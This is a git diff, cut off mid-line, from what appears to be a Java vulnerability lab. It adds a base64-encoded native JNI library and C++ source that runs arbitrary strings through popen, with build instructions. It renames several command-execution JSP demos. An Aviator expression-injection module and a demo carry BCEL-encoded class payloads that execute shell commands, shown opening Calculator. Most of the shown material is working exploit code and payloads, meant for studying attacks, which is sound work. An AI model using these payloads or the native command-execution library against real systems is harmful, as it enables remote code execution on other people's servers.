AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAEgAAACAAAAADgAAAAEAAAAAAAAAAAAAAAMAAAAAAAAAEAAAAAAAAAAYAAAAABAGAAAQAAAAAAAAAAAAAAEAAAACAgAA/SIAAP1gAAABugAAAVIBAAHcAQAB/gEAASQCAAJQAgACdAIAApoCAAKoAgACuAIAAsgCAABfX1Vud2luZF9SZXN1bWUAX19aTjdKTklFbnZfMTJOZXdTdHJpbmdVVEZFUEtjAF9fWk43Sk5JRW52XzE3R2V0U3RyaW5nVVRGQ2hhcnNFUDhfanN0cmluZ1BoAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2YXBwZW5kRVBLYwBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFRDFFdgBfX1pTdDl0ZXJtaW5hdGV2AF9fX2N4YV9iZWdpbl9jYXRjaABfX19neHhfcGVyc29uYWxpdHlfdjAAX19fc3RhY2tfY2hrX2ZhaWwAX19fc3RhY2tfY2hrX2d1YXJkAF9mZ2V0cwBfbWVtc2V0AF9wY2xvc2UAX3BvcGVuAAAAAAAAAAFfAE4AAAAAAwDQEQADBNAXAAMEwBYAAAIyTmV3U3RyaW5nVVRGRVBLYwAON0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaAATAAJKYXZhX2NvbV9wcHBfY29tbWFuZF9qbmlfQ2FsY19ydW4ACV9aTjdKTklFbnZfMQAYAAAAAAAAANAR8ARAIDAwIBBAMBAwMCAgEDAQUIABIDAQIBAAAAAAjwEAAB4BgACACwAAAAAAAN4BAAAeAYAAoAsAAAAAAAAvAgAAHgGAAAAMAAAAAAAAgwIAAB4BgAAgDAAAAAAAAJsCAAAeAYAAMAwAAAAAAADqAgAAHgGAAHAMAAAAAAAAkQMAAB4BgACgDAAAAAAAAO8DAAAeAYAAsAwAAAAAAACWBAAAHgGAAOAMAAAAAAAAJgUAAB4BgAAQDQAAAAAAAIkFAAAeAYAAMA0AAAAAAACvBQAAHgGAAFANAAAAAAAA8QUAAB4BgABgDQAAAAAAAEQGAAAeAYAAkA0AAAAAAAByBgAAHgGAAKANAAAAAAAAzwYAAB4BgADwDQAAAAAAACcHAAAeAYAAcA4AAAAAAACJBwAAHgGAAJAOAAAAAAAA7AcAAB4BgADADgAAAAAAACMIAAAeAYAA0A4AAAAAAACZCAAAHgGAAPAOAAAAAAAAGQkAAB4BgAAADwAAAAAAAFQJAAAOAwAAWA8AAAAAAAACAAAADwEAANAIAAAAAAAAJQAAAA8BgADQCwAAAAAAAEQAAAAPAYAAQAsAAAAAAABxAAAAAQAAAgAAAAAAAAAAgQAAAAEAAAEAAAAAAAAAAM0AAAABAAABAAAAAAAAAAASAQAAAQAAAQAAAAAAAAAAIwEAAAEAAAEAAAAAAAAAADYBAAABAAABAAAAAAAAAABMAQAAAQAAAgAAAAAAAAAAXgEAAAEAAAIAAAAAAAAAAHEBAAABAAACAAAAAAAAAAB4AQAAAQAAAgAAAAAAAAAAgAEAAAEAAAIAAAAAAAAAAIgBAAABAAACAAAAAAAAAAAaAAAAGAAAABkAAAAbAAAAHAAAAB0AAAAeAAAAIAAAACIAAAAjAAAAJAAAACUAAAAaAAAAGAAAABkAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACAAX0phdmFfY29tX3BwcF9jb21tYW5kX2puaV9DYWxjX3J1bgBfX1pON0pOSUVudl8xMk5ld1N0cmluZ1VURkVQS2MAX19aTjdKTklFbnZfMTdHZXRTdHJpbmdVVEZDaGFyc0VQOF9qc3RyaW5nUGgAX19VbndpbmRfUmVzdW1lAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2YXBwZW5kRVBLYwBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFRDFFdgBfX1pTdDl0ZXJtaW5hdGV2AF9fX2N4YV9iZWdpbl9jYXRjaABfX19neHhfcGVyc29uYWxpdHlfdjAAX19fc3RhY2tfY2hrX2ZhaWwAX19fc3RhY2tfY2hrX2d1YXJkAF9mZ2V0cwBfbWVtc2V0AF9wY2xvc2UAX3BvcGVuAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVDMUI4bmUxODAxMDBFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExCOG5lMTgwMTAwRVBLYwBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVjX3N0ckI4bmUxODAxMDBFdgBfX19jbGFuZ19jYWxsX3Rlcm1pbmF0ZQBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFQzJCOG5lMTgwMTAwRXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUI4bmUxODAxMDBJTlNfMTZfX3ZhbHVlX2luaXRfdGFnRU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRUVFT1RfT1QwXwBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE0X19hbm5vdGF0ZV9uZXdCOG5lMTgwMTAwRW0AX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkI4bmUxODAxMDBJTlNfMTZfX3ZhbHVlX2luaXRfdGFnRU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRUVFT1RfT1QwXwBfX1pOU3QzX18xMjJfX2NvbXByZXNzZWRfcGFpcl9lbGVtSU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVMaTBFTGIwRUVDMkI4bmUxODAxMDBFTlNfMTZfX3ZhbHVlX2luaXRfdGFnRQBfX1pOU3QzX18xMjJfX2NvbXByZXNzZWRfcGFpcl9lbGVtSU5TXzlhbGxvY2F0b3JJY0VFTGkxRUxiMUVFQzJCOG5lMTgwMTAwRU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRQBfX1pOU3QzX18xOWFsbG9jYXRvckljRUMyQjhuZTE4MDEwMEV2AF9fWk5TdDNfXzExNl9fbm9uX3RyaXZpYWxfaWZJTGIxRU5TXzlhbGxvY2F0b3JJY0VFRUMyQjhuZTE4MDEwMEV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNGRhdGFCOG5lMTgwMTAwRXYAX19aTlN0M19fMTEyX190b19hZGRyZXNzQjhuZTE4MDEwMElLY0VFUFRfUzNfAF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTNfX2dldF9wb2ludGVyQjhuZTE4MDEwMEV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFOV9faXNfbG9uZ0I4bmUxODAxMDBFdgBfX1pOS1N0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19nZXRfbG9uZ19wb2ludGVyQjhuZTE4MDEwMEV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTlfX2dldF9zaG9ydF9wb2ludGVyQjhuZTE4MDEwMEV2AF9fWk5TdDNfXzEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEI4bmUxODAxMDBFdgBfX1pOS1N0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RCOG5lMTgwMTAwRXYAX19aTktTdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRTVfX2dldEI4bmUxODAxMDBFdgBfX1pOU3QzX18xMTRwb2ludGVyX3RyYWl0c0lQS2NFMTBwb2ludGVyX3RvQjhuZTE4MDEwMEVSUzFfAEdDQ19leGNlcHRfdGFibGUwAAAA"; public static void main(String[] args) { String cmd = "open -a Calculator.app"; @@ -89,6 +91,15 @@ public void writeJNILibFile(String base64) throws IOException { if (base64 != null) { File jniFile = getTempJNILibFile(); + // 删除文件 + if(jniFile.exists()) { + try{ + jniFile.delete(); + }catch (Exception e) { + + } + } + if (!jniFile.exists()) { byte[] bytes = base64Decoder(base64); diff --git a/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/README.md b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/README.md new file mode 100644 index 0000000..4c2c704 --- /dev/null +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/README.md @@ -0,0 +1,69 @@ +复现流程 m1 + +在当前目录打开,生成 .class 和 .h 文件 + +``` +arch -x86_64 javac -cp . Calc.java -h com/ppp/command/jni/ +``` + +在生成的 com/ppp/command/jni/ 目录下创建 com_ppp_command_jni_Calc.cpp 文件 + +``` +#include +#include +#include +#include +#include "com_ppp_command_jni_Calc.h" + +using namespace std; + +JNIEXPORT jstring + +JNICALL Java_com_ppp_command_jni_Calc_run + (JNIEnv *env, jclass jclass, jstring str) { + + if (str != NULL) { + jboolean jsCopy; + const char *cmd = env->GetStringUTFChars(str, &jsCopy); + FILE *fd = popen(cmd, "r"); + + if (fd != NULL) { + string result; + char buf[128]; + + while (fgets(buf, sizeof(buf), fd) != NULL) { + result +=buf; + } + + pclose(fd); + return env->NewStringUTF(result.c_str()); + } + + } + + return NULL; +} +``` + +编译 + +``` +// mac编译 +g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_ppp_command_jni_Calc.cpp +// m1 +arch -x86_64 g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_ppp_command_jni_Calc.cpp + +// linux +g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_ppp_command_jni_Calc.cpp + +// windows +x86_64-w64-mingw32-g++ -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_ppp_command_jni_Calc.cpp + + +找不到的话就显式指定一下 include 路径 +arch -x86_64 g++ -fPIC \ + -I/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/include \ + -I/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/include/darwin \ + -shared -o libcmd.jnilib com_ppp_command_jni_Calc.cpp +``` + diff --git a/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/com_ppp_command_jni_Calc.cpp b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/com_ppp_command_jni_Calc.cpp new file mode 100644 index 0000000..efe7147 --- /dev/null +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/com_ppp_command_jni_Calc.cpp @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include "com_ppp_command_jni_Calc.h" + +using namespace std; + +JNIEXPORT jstring + +JNICALL Java_com_ppp_command_jni_Calc_run + (JNIEnv *env, jclass jclass, jstring str) { + + if (str != NULL) { + jboolean jsCopy; + const char *cmd = env->GetStringUTFChars(str, &jsCopy); + FILE *fd = popen(cmd, "r"); + + if (fd != NULL) { + string result; + char buf[128]; + + while (fgets(buf, sizeof(buf), fd) != NULL) { + result +=buf; + } + + pclose(fd); + return env->NewStringUTF(result.c_str()); + } + + } + + return NULL; +} \ No newline at end of file diff --git a/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/org_command_exec_jni_Calc.h b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/com_ppp_command_jni_Calc.h similarity index 51% rename from Command/src/main/java/org/command/exec/jni/com/command/exec/jni/org_command_exec_jni_Calc.h rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/com_ppp_command_jni_Calc.h index 17e9fbf..ffd216e 100644 --- a/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/org_command_exec_jni_Calc.h +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/com_ppp_command_jni_Calc.h @@ -1,18 +1,18 @@ /* DO NOT EDIT THIS FILE - it is machine generated */ #include -/* Header for class org_command_exec_jni_Calc */ +/* Header for class com_ppp_command_jni_Calc */ -#ifndef _Included_org_command_exec_jni_Calc -#define _Included_org_command_exec_jni_Calc +#ifndef _Included_com_ppp_command_jni_Calc +#define _Included_com_ppp_command_jni_Calc #ifdef __cplusplus extern "C" { #endif /* - * Class: org_command_exec_jni_Calc + * Class: com_ppp_command_jni_Calc * Method: run * Signature: (Ljava/lang/String;)Ljava/lang/String; */ -JNIEXPORT jstring JNICALL Java_org_command_exec_jni_Calc_run +JNIEXPORT jstring JNICALL Java_com_ppp_command_jni_Calc_run (JNIEnv *, jclass, jstring); #ifdef __cplusplus diff --git a/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/libcmd.jnilib b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/libcmd.jnilib new file mode 100755 index 0000000..03cf762 Binary files /dev/null and b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com/ppp/command/jni/libcmd.jnilib differ diff --git a/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/org_command_exec_jni_Calc.cpp b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com_ppp_command_jni_Calc.cpp similarity index 94% rename from Command/src/main/java/org/command/exec/jni/com/command/exec/jni/org_command_exec_jni_Calc.cpp rename to SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com_ppp_command_jni_Calc.cpp index 5c9e008..5e85b02 100644 --- a/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/org_command_exec_jni_Calc.cpp +++ b/SecVulns/VulnCore/Command/src/main/java/com/ppp/command/jni/com_ppp_command_jni_Calc.cpp @@ -2,7 +2,7 @@ #include #include #include -#include "org_command_exec_jni_Calc.h" +#include "com_ppp_command_jni_Calc.h" using namespace std; diff --git a/Command/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/Command/src/main/webapp/WEB-INF/web.xml similarity index 100% rename from Command/src/main/webapp/WEB-INF/web.xml rename to SecVulns/VulnCore/Command/src/main/webapp/WEB-INF/web.xml diff --git a/Command/src/main/webapp/jni.jsp b/SecVulns/VulnCore/Command/src/main/webapp/jni.jsp similarity index 100% rename from Command/src/main/webapp/jni.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/jni.jsp diff --git a/Command/src/main/webapp/processBuilder.jsp b/SecVulns/VulnCore/Command/src/main/webapp/processBuilder.jsp similarity index 100% rename from Command/src/main/webapp/processBuilder.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/processBuilder.jsp diff --git a/Command/src/main/webapp/processImpl.jsp b/SecVulns/VulnCore/Command/src/main/webapp/processImpl.jsp similarity index 100% rename from Command/src/main/webapp/processImpl.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/processImpl.jsp diff --git a/Command/src/main/webapp/processImplNative.jsp b/SecVulns/VulnCore/Command/src/main/webapp/processImplNative.jsp similarity index 100% rename from Command/src/main/webapp/processImplNative.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/processImplNative.jsp diff --git a/Command/src/main/webapp/processImplUnixProcess.jsp b/SecVulns/VulnCore/Command/src/main/webapp/processImplUnixProcess.jsp similarity index 100% rename from Command/src/main/webapp/processImplUnixProcess.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/processImplUnixProcess.jsp diff --git a/Command/src/main/webapp/runtime.jsp b/SecVulns/VulnCore/Command/src/main/webapp/runtime.jsp similarity index 100% rename from Command/src/main/webapp/runtime.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/runtime.jsp diff --git a/Command/src/main/webapp/scriptEngine.jsp b/SecVulns/VulnCore/Command/src/main/webapp/scriptEngine.jsp similarity index 100% rename from Command/src/main/webapp/scriptEngine.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/scriptEngine.jsp diff --git a/Command/src/main/webapp/scriptEngine2.jsp b/SecVulns/VulnCore/Command/src/main/webapp/scriptEngine2.jsp similarity index 100% rename from Command/src/main/webapp/scriptEngine2.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/scriptEngine2.jsp diff --git a/Command/src/main/webapp/thread.jsp b/SecVulns/VulnCore/Command/src/main/webapp/thread.jsp similarity index 100% rename from Command/src/main/webapp/thread.jsp rename to SecVulns/VulnCore/Command/src/main/webapp/thread.jsp diff --git a/SecVulns/VulnCore/Expression/AviatorAttack/pom.xml b/SecVulns/VulnCore/Expression/AviatorAttack/pom.xml new file mode 100644 index 0000000..58fa677 --- /dev/null +++ b/SecVulns/VulnCore/Expression/AviatorAttack/pom.xml @@ -0,0 +1,34 @@ + + 4.0.0 + + com.ppp + AviatorAttack + 1.0 + jar + + AviatorAttack + + + UTF-8 + + + + + + + + + + com.googlecode.aviator + aviator + 5.2.6 + + + + org.springframework.boot + spring-boot-starter-web + 2.7.13 + + + diff --git a/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorAttack.java b/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorAttack.java new file mode 100644 index 0000000..c139229 --- /dev/null +++ b/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorAttack.java @@ -0,0 +1,16 @@ +package com.ppp.aviator; + +import com.googlecode.aviator.AviatorEvaluator; +import com.googlecode.aviator.AviatorEvaluatorInstance; + +/** + * @author guchangan1 + */ +public class AviatorAttack { + + public static Object execute(String script) throws Exception { + AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); + + return evaluator.execute(script); + } +} diff --git a/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorDemo.java b/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorDemo.java new file mode 100644 index 0000000..55404ca --- /dev/null +++ b/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorDemo.java @@ -0,0 +1,68 @@ +package com.ppp.aviator; + +import com.googlecode.aviator.AviatorEvaluator; +import com.googlecode.aviator.AviatorEvaluatorInstance; + + +/** + * @author guchangan1 Whoopsunix + */ +public class AviatorDemo { + public static void main(String[] args) throws Exception { + + /** + * normal + */ +// AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); +// evaluator.setFunctionMissing(JavaMethodReflectionFunctionMissing.getInstance()); +// evaluator.execute("exec(Runtime.getRuntime(), 'open -a Calculator.app')"); + + /** + * AviatorEvaluatorInstance bcel + * + * String bcel = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A"; + * Object o = Class.forName(bcel, true, new ClassLoader()).newInstance(); + * o.getClass().getMethod("exec", String.class).invoke(o, "open -a Calculator.app"); + */ +// AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); +// evaluator.execute("'a'+(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open -a Calculator.app\") );"); + + // 分开定义 +// evaluator.execute("(c = Class.forName('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr